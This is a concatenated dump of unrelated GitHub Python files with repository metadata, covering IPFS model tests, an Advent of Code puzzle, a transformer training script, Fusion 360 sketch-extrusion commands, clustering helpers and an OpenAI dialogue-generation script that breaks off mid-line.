tempfile.TemporaryDirectory() as temp_dir:\n model_path = os.path.join(temp_dir, 'model.h5')\n test_model.save(model_path)\n yield model_path\n\n@pytest.fixture(scope=\"module\")\ndef test_ipfs():\n return IPFS()\n\ndef test_fetch_model(test_ipfs, test_model, test_saved_model_path):\n model_hash = test_ipfs.push_model(test_saved_model_path)\n fetched_model = test_ipfs.fetch_model(model_hash)\n \n # Compare the fetched model with the original model\n assert isinstance(fetched_model, keras.models.Sequential)\n assert test_model.input_shape == fetched_model.input_shape\n assert test_model.output_shape == fetched_model.output_shape\n\ndef test_push_model(test_ipfs, test_saved_model_path):\n model_hash = test_ipfs.push_model(test_saved_model_path)\n assert isinstance(model_hash, str)\n\ndef test_download_model(test_ipfs, test_model, test_saved_model_path):\n model_hash = test_ipfs.push_model(test_saved_model_path)\n \n with tempfile.TemporaryDirectory() as temp_dir:\n fetched_model = test_ipfs.download_model(model_hash, temp_dir)\n \n # Compare the fetched model with the original model\n assert isinstance(fetched_model, keras.models.Sequential)\n assert test_model.input_shape == fetched_model.input_shape\n assert test_model.output_shape == fetched_model.output_shape\n","repo_name":"bayesianinstitute/FL_Mock","sub_path":"test/test_ipfs.py","file_name":"test_ipfs.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74971037044","text":"import string\r\nfrom functools import reduce\r\n\r\ns = open('2018/day5/day5.txt').read()\r\n\r\ndef destroy(p, c):\r\n # p: previous\r\n # c: current\r\n if p == None or len(p) == 0:\r\n return c\r\n else:\r\n l = str(p[-1:]) # last letter\r\n lc = string.ascii_lowercase\r\n uc = string.ascii_uppercase\r\n if (l in lc and c in uc) or (l in uc and c in lc): # opposite case\r\n if l.lower() == c.lower():\r\n return p[:-1]\r\n return p + c\r\n\r\n\r\ndef part_1():\r\n s2 = reduce(destroy, s)\r\n return len(s2)\r\n\r\n\r\ndef part_2():\r\n lengths = {}\r\n for letter in string.ascii_lowercase:\r\n s_ = s[:] # copies to avoid mutating\r\n s_ = s.replace(letter, '').replace(letter.upper(), '')\r\n s_ = reduce(destroy, s_)\r\n lengths[len(s_)] = letter\r\n num = min(lengths.keys())\r\n return str('Removing the letter ' + str(lengths[num]) + ' yields a string of length ' + str(num))\r\n \r\n\r\nprint(\"Part 1: {}\".format(part_1()))\r\nprint(\"Part 2: {}\".format(part_2()))\r\n","repo_name":"anniebryan/advent-of-code","sub_path":"2018/day5/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24427935068","text":"from .base import BaseBlockchainMiddleware\nfrom bos_consensus.common import Slot\n\n\nclass Middleware(BaseBlockchainMiddleware):\n def received_ballot(self, ballot):\n ballot_idx = self.blockchain.consensus.slot.get_ballot_index(ballot)\n\n if ballot_idx == Slot.NOT_FOUND:\n validator_ballots = list()\n else:\n validator_ballots = self.blockchain.consensus.slot.get_validator_ballots(ballot)\n\n self.log.debug(\n 'ballot received: %s -> %s validator_ballots=%s ballot=%s',\n ballot.node_name,\n self.blockchain.consensus.node.name,\n validator_ballots,\n ballot,\n )\n\n if ballot.node_name not in validator_ballots:\n return\n\n existing = validator_ballots[ballot.node_name]\n\n if existing is None:\n return\n\n if existing.state <= ballot.state:\n return\n\n self.log.debug('found state regression previous_ballot=%s received_ballot=%s', existing, ballot)\n self.log.metric(\n action='audit',\n type='state-regression',\n ballot=ballot.serialize(to_string=False),\n previous_ballot=existing.serialize(to_string=False),\n )\n\n return\n","repo_name":"LuffyEMonkey/isaac-consensus-protocol_0121","sub_path":"src/bos_consensus/middlewares/blockchain/state_regression.py","file_name":"state_regression.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3002017748","text":"import former\nfrom former import util, GTransformer\n\nfrom former.util import d, here, tic, toc\n\nimport torch\nfrom torch import nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport torch.distributions as dist\n\nimport numpy as np\n\nfrom argparse import ArgumentParser\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport random, tqdm, sys, math, gzip\n\n# NB, the enwik8 data contains tokens from 9 to 240, but well round up to the nearest\n# power of two.\nNUM_TOKENS = 256\n\ndef sample(lnprobs, temperature=1.0):\n \"\"\"\n Sample an element from a categorical distribution\n :param lnprobs: Outcome log-probabilities\n :param temperature: Sampling temperature. 1.0 follows the given distribution,\n 0.0 returns the maximum probability element.\n :return: The index of the sampled element.\n \"\"\"\n\n if temperature == 0.0:\n return lnprobs.argmax()\n\n p = F.softmax(lnprobs / temperature, dim=0)\n cd = dist.Categorical(p)\n\n return cd.sample()\n\ndef enwik8(path, n_train=int(90e6), n_valid=int(5e6), n_test=int(5e6)):\n \"\"\"\n Load the enwik8 dataset from the Hutter challenge.\n\n Adapted from https://github.com/openai/blocksparse/blob/master/examples/transformer/enwik8.py\n :param path:\n :param n_train:\n :param n_valid:\n :param n_test:\n :return:\n \"\"\"\n with gzip.open(path) if path.endswith('.gz') else open(path) as file:\n X = np.fromstring(file.read(n_train + n_valid + n_test), dtype=np.uint8)\n trX, vaX, teX = np.split(X, [n_train, n_train + n_valid])\n return torch.from_numpy(trX), torch.from_numpy(vaX), torch.from_numpy(teX)\n\ndef sample_batch(data, length, batch_size):\n \"\"\"\n Takes the data (a single sequence of tokens) and slices out a batch of subsequences to provide as input to the model.\n\n For each input instance, it also slices out the sequence that is shofted one position to the right, to provide as a\n target for the model.\n\n :param data: The (training) data. A single vector of tokens represented by integers\n :param length: The length of the subsequences in the batch.\n :param batch_size: The number of subsequences in the batch\n :return: A pair (input, target) of minteger matrices representing the input and target for the model.\n \"\"\"\n\n # Sample the starting indices of the sequences to slice out.\n starts = torch.randint(size=(batch_size,), low=0, high=data.size(0) - length - 1)\n\n # Slice out the input sequences\n seqs_inputs = [data[start:start + length] for start in starts]\n # -- the start index is the one we just sampled, and the end is exactly 'lentgh' positions after that.\n seqs_target = [data[start + 1:start + length + 1] for start in starts]\n # -- The target is the same sequence as input, except one character ahead (we are asking the model to predict the\n # next character at each position)\n\n # We now have two lists of torch vectors, which we can concatenate into matrices of batch_size-by-length\n inputs = torch.cat([s[None, :] for s in seqs_inputs], dim=0).to(torch.long)\n target = torch.cat([s[None, :] for s in seqs_target], dim=0).to(torch.long)\n # -- Note that we add a singleton dimenson to each vector, s[None.,:], and then concatenate along that dimension.\n\n return inputs, target\n\ndef sample_sequence(model, seed, max_context, length=600, temperature=0.5, verbose=False):\n \"\"\"\n Sequentially samples a sequence from the model, token by token.\n\n :param model:\n :param seed: The sequence to start with.\n :param length: The total number of characters to sample.\n :param temperature: The sampling temperature.\n :param verbose: If true, the sampled sequence is also printed as it is sampled.\n\n :return: The sampled sequence, including the seed.\n \"\"\"\n\n sequence = seed.detach().clone()\n\n if verbose: # Print the seed, surrounded by square brackets\n print('[', end='', flush=True)\n for c in seed:\n print(str(chr(c)), end='', flush=True)\n print(']', end='', flush=True)\n\n for _ in range(length):\n\n # Input is the tail end of the sampled sequence (as many tokens as the model can handle)\n input = sequence[-max_context:]\n\n # Run the current input through the model\n output = model(input[None, :])\n\n # Sample the next token from the probabilitys at the last position of the output.\n c = sample(output[0, -1, :], temperature)\n\n if verbose:\n print(str(chr(max(32, c))), end='', flush=True)\n\n sequence = torch.cat([sequence, c[None]], dim=0) # Append the sampled token to the sequence\n\n print()\n return seed\n\ndef go(arg):\n\n if arg.seed < 0:\n seed = random.randint(0, 1000000)\n print('random seed: ', seed)\n else:\n torch.manual_seed(arg.seed)\n\n tbw = SummaryWriter(log_dir=arg.tb_dir) # Tensorboard logging\n\n # load the data (validation unless arg.final is true, then test)\n arg.data = here('data/enwik8.gz') if arg.data is None else arg.data\n\n data_train, data_val, data_test = enwik8(arg.data)\n data_train, data_test = (torch.cat([data_train, data_val], dim=0), data_test) \\\n if arg.final else (data_train, data_val)\n\n # create the model\n model = GTransformer(emb=arg.embedding_size, heads=arg.num_heads, depth=arg.depth, seq_length=arg.context, num_tokens=NUM_TOKENS, attention_type=arg.attention_type)\n if torch.cuda.is_available():\n model.cuda()\n\n opt = torch.optim.Adam(lr=arg.lr, params=model.parameters())\n\n # Linear learning rate warmup\n sch = torch.optim.lr_scheduler.LambdaLR(opt, lambda i: min(i / (arg.lr_warmup / arg.batch_size), 1.0))\n\n # Training loop\n # -- We don't loop over the data, instead we sample a batch of random subsequences each time. This is not strictly\n # better or worse as a training method, it's just a little simpler.\n #\n instances_seen = 0\n for i in tqdm.trange(arg.num_batches):\n\n opt.zero_grad()\n\n source, target = sample_batch(data_train, length=arg.context, batch_size=arg.batch_size)\n instances_seen += source.size(0)\n\n if torch.cuda.is_available():\n source, target = source.cuda(), target.cuda()\n\n tic()\n output = model(source) # forward pass\n t = toc()\n\n # Compute the loss\n loss = F.nll_loss(output.transpose(2, 1), target, reduction='mean')\n\n tbw.add_scalar('transformer/train-loss', float(loss.item()) * util.LOG2E, i * arg.batch_size, instances_seen)\n tbw.add_scalar('transformer/time-forward', t, instances_seen)\n\n loss.backward() # backward pass\n\n # clip gradients\n # -- If the total gradient vector has a length > x, we clip it back down to x.\n if arg.gradient_clipping > 0.0:\n nn.utils.clip_grad_norm_(model.parameters(), arg.gradient_clipping)\n\n opt.step() # stochastic gradient descent step\n sch.step() # update the learning rate\n\n # Validate every `arg.test_every` steps. First we compute the\n # compression on the validation data (or a subset),\n # then we generate some random text to monitor progress.\n if i != 0 and (i % arg.test_every == 0 or i == arg.num_batches - 1):\n with torch.no_grad():\n\n ## Sample and print a random sequence\n\n # Slice a random seed from the test data, and sample a continuation from the model.\n seedfr = random.randint(0, data_test.size(0) - arg.context)\n seed = data_test[seedfr:seedfr + arg.context].to(torch.long)\n\n if torch.cuda.is_available():\n seed = seed.cuda()\n\n sample_sequence(model, seed=seed, max_context=arg.context, verbose=True, length=arg.sample_length)\n\n ## Compute validation bits per byte\n\n upto = data_test.size(0) if i == arg.num_batches - 1 else arg.test_subset\n data_sub = data_test[:upto]\n\n bits_per_byte = util.compute_compression(model, data_sub, context=arg.context, batch_size=arg.test_batchsize)\n # -- Since we're not computing gradients, we can increase the batch size a little from what we used in\n # training.\n\n print(f'epoch{i}: {bits_per_byte:.4} bits per byte')\n tbw.add_scalar(f'transformer/eval-loss', bits_per_byte, i * arg.batch_size, instances_seen)\n # -- 0.9 bit per byte is around the state of the art.\n\nif __name__ == \"__main__\":\n\n ## Parse the command line options\n parser = ArgumentParser()\n\n parser.add_argument(\"-N\", \"--num-batches\",\n dest=\"num_batches\",\n help=\"Number of batches to train on. Each batch contains randomly sampled subsequences of the data.\"\n \"Default is set to a very large value so you can keep running until the output looks good. \",\n default=1_000_000, type=int)\n\n parser.add_argument(\"-b\", \"--batch-size\",\n dest=\"batch_size\",\n help=\"The batch size.\",\n default=32, type=int)\n\n parser.add_argument(\"-D\", \"--data\", dest=\"data\",\n help=\"Data file. Will be read as a string of 8-bit characters.\",\n default=None)\n\n parser.add_argument(\"-l\", \"--learn-rate\",\n dest=\"lr\",\n help=\"Learning rate\",\n default=0.0001, type=float)\n\n parser.add_argument(\"-T\", \"--tb-dir\", dest=\"tb_dir\",\n help=\"Tensorboard logging directory\",\n default='./runs')\n\n parser.add_argument(\"-f\", \"--final\", dest=\"final\",\n help=\"Whether to run on the real test set (if not included, the validation set is used).\",\n action=\"store_true\")\n\n parser.add_argument(\"-E\", \"--embedding\", dest=\"embedding_size\",\n help=\"Size of the character embeddings.\",\n default=128, type=int)\n\n parser.add_argument(\"-H\", \"--heads\", dest=\"num_heads\",\n help=\"Number of attention heads.\",\n default=8, type=int)\n\n parser.add_argument(\"-C\", \"--context\", dest=\"context\",\n help=\"Length of the sequences extracted from the corpus (and the context used during inference).\",\n default=256, type=int)\n\n parser.add_argument(\"-d\", \"--depth\", dest=\"depth\",\n help=\"Depth of the network (nr. of transformer blocks)\",\n default=12, type=int)\n\n parser.add_argument(\"-r\", \"--random-seed\",\n dest=\"seed\",\n help=\"RNG seed. Negative for random\",\n default=1, type=int)\n\n parser.add_argument(\"--test-every\",\n dest=\"test_every\",\n help=\"How many batches between tests.\",\n default=1500, type=int)\n\n parser.add_argument(\"--test-subset\",\n dest=\"test_subset\",\n help=\"A subset for the validation tests.\",\n default=100000, type=int)\n\n parser.add_argument(\"--test-batchsize\",\n dest=\"test_batchsize\",\n help=\"Batch size for computing the validation loss. This can be a bit bigger than the training batch size.\",\n default=64, type=int)\n\n parser.add_argument(\"--gradient-clipping\",\n dest=\"gradient_clipping\",\n help=\"Gradient clipping.\",\n default=1.0, type=float)\n\n parser.add_argument(\"--lr-warmup\",\n dest=\"lr_warmup\",\n help=\"Learning rate warmup.\",\n default=5000, type=int)\n\n parser.add_argument(\"--sample-length\",\n dest=\"sample_length\",\n help=\"Number of character to sample.\",\n default=600, type=int)\n\n parser.add_argument(\"--attention-type\", dest=\"attention_type\",\n help=\"Which type of self-attention to use (default, gpt2, wide, narrow, relative)\",\n default=\"default\", type=str)\n\n options = parser.parse_args()\n\n print('OPTIONS ', options)\n\n go(options)\n","repo_name":"pbloem/former","sub_path":"experiments/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":12444,"program_lang":"python","lang":"en","doc_type":"code","stars":914,"dataset":"github-code","pt":"76"} +{"seq_id":"13274339586","text":"from django.contrib.sites.models import Site\nfrom soloha.settings import SITE_ID\n\n\ndef context_data(request):\n context = {}\n site = Site.objects.filter(pk=SITE_ID).select_related('info').prefetch_related('info__phone_numbers').get()\n context['current_site'] = site\n flatpages = site.flatpage_set.select_related('info').filter(info__position__in=('header', 'footer'))\n key = lambda flatpage: 'flatpages_{}'.format(flatpage.info.position)\n\n for flatpage in flatpages:\n key_flatpage = key(flatpage)\n\n if key_flatpage not in context:\n context[key_flatpage] = []\n\n context[key_flatpage].append(flatpage)\n\n return context\n","repo_name":"spiritEcosse/soloha","sub_path":"apps/ex_flatpages/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"7366028891","text":"from sklearn.cluster import KMeans\nfrom sklearn.preprocessing import minmax_scale\nimport pandas as pd\nimport os\n\n'''Function to compute kmeans clustering'''\n\ndef feature_df(df, features):\n df_selected = df[features]\n df_scaled = pd.DataFrame(\n minmax_scale(df_selected), columns=features)\n df_scaled.index = df.PLR_ID\n return df_scaled\n\ndef kmeans_clustering(n_clusters, df):\n kmeans = KMeans(n_clusters=n_clusters, random_state=42)\n clusters = kmeans.fit(df)\n df[\"clusters\"] = clusters.labels_\n return df\n\ndef cluster(df, n_clusters, features=['child_pov']):\n # df = pd.read_csv('/Users/Safia/code/Safiaaaaa/geocluster/geocluster/data/df_dropna.csv')\n selected = feature_df(df, features)\n clusters_df = kmeans_clustering(n_clusters, selected)\n return clusters_df\n\nif __name__ == \"__main__\":\n root_dir = os.path.dirname(__file__)\n csv_path = os.path.join(root_dir, \"data\", \"df_dropna.csv\")\n # df = pd.read_csv('/Users/Safia/code/Safiaaaaa/geo-clustering/geo-cluster/data/frontend_df.csv')\n # print(os.path.join(root_dir, csv_path))\n # print(feature_df(pd.read_csv(csv_path, ['child_pov'])))\n print(feature_df(pd.read_csv(os.path.join(root_dir,csv_path)), ['child_pov']))\n # print(kmeans_clustering(2, feature_df(pd.read_csv(os.path.join(os.path.dirname('__file__'),'geocluster', 'data', 'df_dropna.csv')), ['child_pov'])))\n # print(kmeans_clustering(2, feature_df(df, ['eating', 'culture', 'community'])))\n # features = ['eating', 'culture', 'community']\n # features.append('PLR_ID')\n # features.append('PLR_NAME')\n # print(features)\n","repo_name":"Safiaaaaa/geocluster","sub_path":"geocluster/functions/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"25271884910","text":"\"\"\"\n\nSketch Extrusion Reconstruction\n\n\"\"\"\n\nimport adsk.core\nimport adsk.fusion\nimport os\nimport sys\nimport importlib\nimport math\n\nfrom .command_base import CommandBase\n\n# Add the common folder to sys.path\nCOMMON_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\", \"..\", \"common\"))\nif COMMON_DIR not in sys.path:\n sys.path.append(COMMON_DIR)\nimport name\nimport match\nimport deserialize\nimport serialize\nimportlib.reload(match)\n\n\nclass CommandSketchExtrusion(CommandBase):\n\n def add_sketch(self, data):\n \"\"\"Add a sketch to the existing design\"\"\"\n if data is None or \"sketch_plane\" not in data:\n return self.runner.return_failure(\"sketch_plane not specified\")\n sketch_plane = match.sketch_plane(data[\"sketch_plane\"])\n if sketch_plane is None:\n return self.runner.return_failure(\"sketch_plane could not be found\")\n sketches = self.design_state.reconstruction.component.sketches\n sketch = sketches.addWithoutEdges(sketch_plane)\n sketch_uuid = name.set_uuid(sketch)\n return self.runner.return_success({\n \"sketch_id\": sketch_uuid,\n \"sketch_name\": sketch.name\n })\n\n def add_point(self, data):\n \"\"\"Add a point to create a new sequential line in the given sketch\"\"\"\n if (data is None or \"sketch_name\" not in data or\n \"pt\" not in data):\n return self.runner.return_failure(\"add_point data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"sketch not found\")\n sketch_uuid = name.get_uuid(sketch)\n # If this is the first point, store it and return\n if sketch.name not in self.state:\n self.__init_sketch_state(sketch.name, data[\"pt\"], data[\"pt\"])\n profile_data = serialize.sketch_profiles(sketch.profiles)\n return self.runner.return_success({\n \"sketch_id\": sketch_uuid,\n \"sketch_name\": sketch.name,\n \"profiles\": profile_data\n })\n state = self.state[sketch.name]\n transform = data[\"transform\"] if \"transform\" in data else None\n return self.__add_line(\n sketch,\n sketch_uuid,\n state[\"last_pt\"],\n data[\"pt\"],\n transform\n )\n\n def add_line(self, data):\n \"\"\"Add a line to an existing sketch\"\"\"\n if (data is None or \"sketch_name\" not in data or\n \"pt1\" not in data or \"pt2\" not in data):\n return self.runner.return_failure(\"add_line data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"sketch not found\")\n sketch_uuid = name.get_uuid(sketch)\n transform = data[\"transform\"] if \"transform\" in data else None\n return self.__add_line(\n sketch,\n sketch_uuid,\n data[\"pt1\"],\n data[\"pt2\"],\n transform\n )\n\n def add_arc(self, data):\n \"\"\"Add an arc to an existing sketch\"\"\"\n if (data is None or \"sketch_name\" not in data or\n \"pt1\" not in data or \"pt2\" not in data or\n \"angle\" not in data):\n return self.runner.return_failure(\"add_arc data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"sketch not found\")\n sketch_uuid = name.get_uuid(sketch)\n transform = data[\"transform\"] if \"transform\" in data else None\n return self.__add_arc(\n sketch,\n sketch_uuid,\n data[\"pt1\"],\n data[\"pt2\"],\n data[\"angle\"],\n transform\n )\n\n def add_circle(self, data):\n \"\"\"Add a circle to an existing sketch\"\"\"\n if (data is None or \"sketch_name\" not in data or\n \"pt\" not in data or \"radius\" not in data):\n return self.runner.return_failure(\"add_circle data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"sketch not found\")\n sketch_uuid = name.get_uuid(sketch)\n transform = data[\"transform\"] if \"transform\" in data else None\n return self.__add_circle(\n sketch,\n sketch_uuid,\n data[\"pt\"],\n data[\"radius\"],\n transform\n )\n\n def close_profile(self, data):\n \"\"\"Close the current set of lines to create one or more profiles\n by joining the first point to the last\"\"\"\n if data is None or \"sketch_name\" not in data:\n return self.runner.return_failure(\"close_profile data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"sketch not found\")\n sketch_uuid = name.get_uuid(sketch)\n if sketch.name not in self.state:\n return self.runner.return_failure(\"sketch state not found\")\n state = self.state[sketch.name]\n # We need at least 4 points (2 lines with 2 points each)\n if state[\"pt_count\"] < 4:\n return self.runner.return_failure(\"sketch has too few points\")\n if state[\"last_pt\"] is None or state[\"first_pt\"] is None:\n return self.runner.return_failure(\"sketch end points invalid\")\n transform = state[\"transform\"]\n return self.__add_line(\n sketch,\n sketch_uuid,\n state[\"last_pt\"],\n state[\"first_pt\"],\n transform\n )\n\n def add_extrude(self, data):\n \"\"\"Add an extrude feature from a sketch\"\"\"\n if (data is None or \"sketch_name\" not in data or\n \"profile_id\" not in data or \"distance\" not in data or\n \"operation\" not in data):\n return self.runner.return_failure(\"add_extrude data not specified\")\n sketch = match.sketch_by_name(\n data[\"sketch_name\"],\n sketches=self.design_state.reconstruction.component.sketches\n )\n if sketch is None:\n return self.runner.return_failure(\"extrude sketch not found\")\n profile = match.sketch_profile_by_id(data[\"profile_id\"], [sketch])\n if profile is None:\n return self.runner.return_failure(\"extrude sketch profile not found\")\n operation = self.__get_extrude_operation(data[\"operation\"])\n if operation is None:\n return self.runner.return_failure(\"extrude operation not found\")\n\n # Make the extrude\n extrudes = self.design_state.reconstruction.component.features.extrudeFeatures\n extrude_input = extrudes.createInput(profile, operation)\n distance = adsk.core.ValueInput.createByReal(data[\"distance\"])\n extent_distance = adsk.fusion.DistanceExtentDefinition.create(distance)\n extrude_input.setOneSideExtent(extent_distance, adsk.fusion.ExtentDirections.PositiveExtentDirection)\n extrude = extrudes.add(extrude_input)\n # Serialize the data and return\n return self.return_extrude_data(extrude)\n\n def __add_line(self, sketch, sketch_uuid, pt1, pt2, transform=None):\n start_point = deserialize.point3d(pt1)\n end_point = deserialize.point3d(pt2)\n if transform is not None:\n if isinstance(transform, str):\n # Transform world coords to sketch coords\n if transform.lower() == \"world\":\n start_point = sketch.modelToSketchSpace(start_point)\n end_point = sketch.modelToSketchSpace(end_point)\n elif isinstance(transform, dict):\n # For mapping Fusion exported data back correctly\n xform = deserialize.matrix3d(transform)\n sketch_transform = sketch.transform\n sketch_transform.invert()\n xform.transformBy(sketch_transform)\n start_point.transformBy(xform)\n end_point.transformBy(xform)\n\n line = sketch.sketchCurves.sketchLines.addByTwoPoints(start_point, end_point)\n curve_uuid = name.set_uuid(line)\n name.set_uuids_for_sketch(sketch)\n profile_data = serialize.sketch_profiles(sketch.profiles)\n if sketch.name not in self.state:\n self.__init_sketch_state(sketch.name, pt1, pt2, transform=transform)\n else:\n self.__inc_sketch_state(sketch.name, pt2, transform=transform)\n return self.runner.return_success({\n \"sketch_id\": sketch_uuid,\n \"sketch_name\": sketch.name,\n \"curve_id\": curve_uuid,\n \"profiles\": profile_data\n })\n\n def __add_arc(self, sketch, sketch_uuid, pt1, pt2, angle_degrees, transform=None):\n start_point = deserialize.point3d(pt1)\n center_point = deserialize.point3d(pt2)\n angle_radians = math.radians(angle_degrees)\n if transform is not None:\n if isinstance(transform, str):\n # Transform world coords to sketch coords\n if transform.lower() == \"world\":\n start_point = sketch.modelToSketchSpace(start_point)\n center_point = sketch.modelToSketchSpace(center_point)\n elif isinstance(transform, dict):\n # For mapping Fusion exported data back correctly\n xform = deserialize.matrix3d(transform)\n sketch_transform = sketch.transform\n sketch_transform.invert()\n xform.transformBy(sketch_transform)\n start_point.transformBy(xform)\n center_point.transformBy(xform)\n\n arc = sketch.sketchCurves.sketchArcs.addByCenterStartSweep(\n center_point,\n start_point,\n angle_radians\n )\n end_point = serialize.point3d(arc.endSketchPoint.geometry)\n curve_uuid = name.set_uuid(arc)\n name.set_uuids_for_sketch(sketch)\n profile_data = serialize.sketch_profiles(sketch.profiles)\n if sketch.name not in self.state:\n self.__init_sketch_state(sketch.name, pt1, end_point, transform=transform)\n else:\n self.__inc_sketch_state(sketch.name, end_point, transform=transform)\n return self.runner.return_success({\n \"sketch_id\": sketch_uuid,\n \"sketch_name\": sketch.name,\n \"curve_id\": curve_uuid,\n \"profiles\": profile_data\n })\n\n def __add_circle(self, sketch, sketch_uuid, pt1, radius, transform=None):\n center_point = deserialize.point3d(pt1)\n if transform is not None:\n if isinstance(transform, str):\n # Transform world coords to sketch coords\n if transform.lower() == \"world\":\n center_point = sketch.modelToSketchSpace(center_point)\n elif isinstance(transform, dict):\n # For mapping Fusion exported data back correctly\n xform = deserialize.matrix3d(transform)\n sketch_transform = sketch.transform\n sketch_transform.invert()\n xform.transformBy(sketch_transform)\n center_point.transformBy(xform)\n\n circle = sketch.sketchCurves.sketchCircles.addByCenterRadius(\n center_point,\n radius\n )\n curve_uuid = name.set_uuid(circle)\n name.set_uuids_for_sketch(sketch)\n profile_data = serialize.sketch_profiles(sketch.profiles)\n return self.runner.return_success({\n \"sketch_id\": sketch_uuid,\n \"sketch_name\": sketch.name,\n \"curve_id\": curve_uuid,\n \"profiles\": profile_data\n })\n\n def __get_extrude_operation(self, operation):\n \"\"\"Return an appropriate extrude operation\"\"\"\n # Check that the operation is going to work\n body_count = self.design_state.reconstruction.bRepBodies.count\n # If there are no other bodies, we have to make a new body\n if body_count == 0:\n operation = \"NewBodyFeatureOperation\"\n return deserialize.feature_operations(operation)\n\n def __init_sketch_state(self, sketch_name, first_pt=None, last_pt=None,\n pt_count=0, transform=None):\n \"\"\"Initialize the sketch state\"\"\"\n self.state[sketch_name] = {\n \"first_pt\": first_pt,\n \"last_pt\": last_pt,\n \"pt_count\": pt_count,\n \"transform\": None\n }\n\n def __inc_sketch_state(self, sketch_name, last_pt, transform=None):\n \"\"\"Increment the sketch state with the latest point\"\"\"\n state = self.state[sketch_name]\n state[\"last_pt\"] = last_pt\n # Increment by 2 as we are adding a curve\n state[\"pt_count\"] += 2\n state[\"transform\"] = transform\n","repo_name":"AutodeskAILab/Fusion360GalleryDataset","sub_path":"tools/fusion360gym/server/command_sketch_extrusion.py","file_name":"command_sketch_extrusion.py","file_ext":"py","file_size_in_byte":13380,"program_lang":"python","lang":"en","doc_type":"code","stars":337,"dataset":"github-code","pt":"76"} +{"seq_id":"28006181075","text":"def distance(strand_a, strand_b):\n \"\"\"Calculate the Hamming distance between two strings.\n \n\tstrand_a (str): the first string.\n\tstrand_b (str): the second string.\n \n\treturns: (int) the hamming distance.\n\t\"\"\"\n \n if len(strand_a) != len(strand_b):\n raise ValueError(\"Strands must be of equal length.\")\n mistakes = 0\n for index in range(len(strand_a)):\n if strand_a[index] != strand_b[index]:\n mistakes +=1\n return mistakes\n","repo_name":"Tregnas/exercism_python_track","sub_path":"hamming-code.py","file_name":"hamming-code.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70400430967","text":"import os\r\nimport openai\r\nimport json\r\nimport jsonlines\r\nimport re\r\nimport concurrent.futures\r\nimport time\r\nimport queue\r\nimport csv\r\n\r\nMAX_RETRIES = 5\r\nMAX_WORKERS = 10 # Maximum number of simultaneous tasks\r\ntasks_dict = {}\r\n\r\ndef generate_text_files():\r\n # Read the API key from 'apikey.txt'\r\n with open('apikey.txt', 'r', encoding='utf-8') as f:\r\n openai.api_key = f.read().strip()\r\n\r\n # Open the JSONL file and load the topics and subtopics\r\n with open('topics_subtopics.jsonl', 'r') as f:\r\n lines = f.readlines()\r\n\r\n tasks = queue.Queue()\r\n for line in lines:\r\n topic_data = json.loads(line)\r\n topic = topic_data[\"topic\"]\r\n subtopics = topic_data[\"subtopics\"]\r\n\r\n for subtopic in subtopics:\r\n task = {\r\n \"topic\": topic,\r\n \"subtopic\": subtopic,\r\n \"retries\": MAX_RETRIES,\r\n }\r\n # Check if the file for this task already exists\r\n if not os.path.exists(f'output/{topic}_{subtopic}.txt'):\r\n tasks.put(task)\r\n else:\r\n print(f\"Skipping task for topic '{topic}' and subtopic '{subtopic}' as it has already been processed.\")\r\n\r\n with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\r\n futures = [executor.submit(make_request, tasks.get()) for _ in range(min(tasks.qsize(), MAX_WORKERS))] # Start with min of MAX_WORKERS or tasks.qsize() tasks\r\n while True:\r\n done, _ = concurrent.futures.wait(futures, return_when=concurrent.futures.FIRST_COMPLETED) # Wait for at least one task to complete\r\n for future in done:\r\n futures.remove(future) # Remove completed tasks from futures list\r\n if tasks.empty() and not futures: # If no more tasks and all futures are done\r\n break\r\n while tasks.qsize() > 0 and len(futures) < MAX_WORKERS: # If there are tasks left and we haven't reached MAX_WORKERS yet\r\n futures.append(executor.submit(make_request, tasks.get())) # Start new tasks\r\n\r\ndef make_request(task):\r\n topic = task[\"topic\"]\r\n subtopic = task[\"subtopic\"]\r\n retries = task[\"retries\"]\r\n\r\n print(f\"\\nInitiating request for topic '{topic}' and subtopic '{subtopic}' with {retries} retries left.\")\r\n\r\n try:\r\n messages = [\r\n {\"role\": \"system\", \"content\": \"You are an intellectual conversation bot. Your job is to execute the users requests without responding with any jargon like, 'sure, I can help, what would you like to know'. Your strength is in brevity and answering directly.\"},\r\n {\"role\": \"user\", \"content\": f\"You will create meaningful conversations between a user and an AI. The conversation length is 3,000 tokens long. The conversation from the user must be complex, at the PhD level in content, and lengthy and the conversation must conclude at the end with an understanding of the topic. Do not deviate from the JSONL format of {json.dumps({'id': 'string', 'conversations': [{'from': 'string', 'value': 'string'}]})} and only create one singular JSONL. The topic is '{topic}' and the subtopic is '{subtopic}'.\"},\r\n 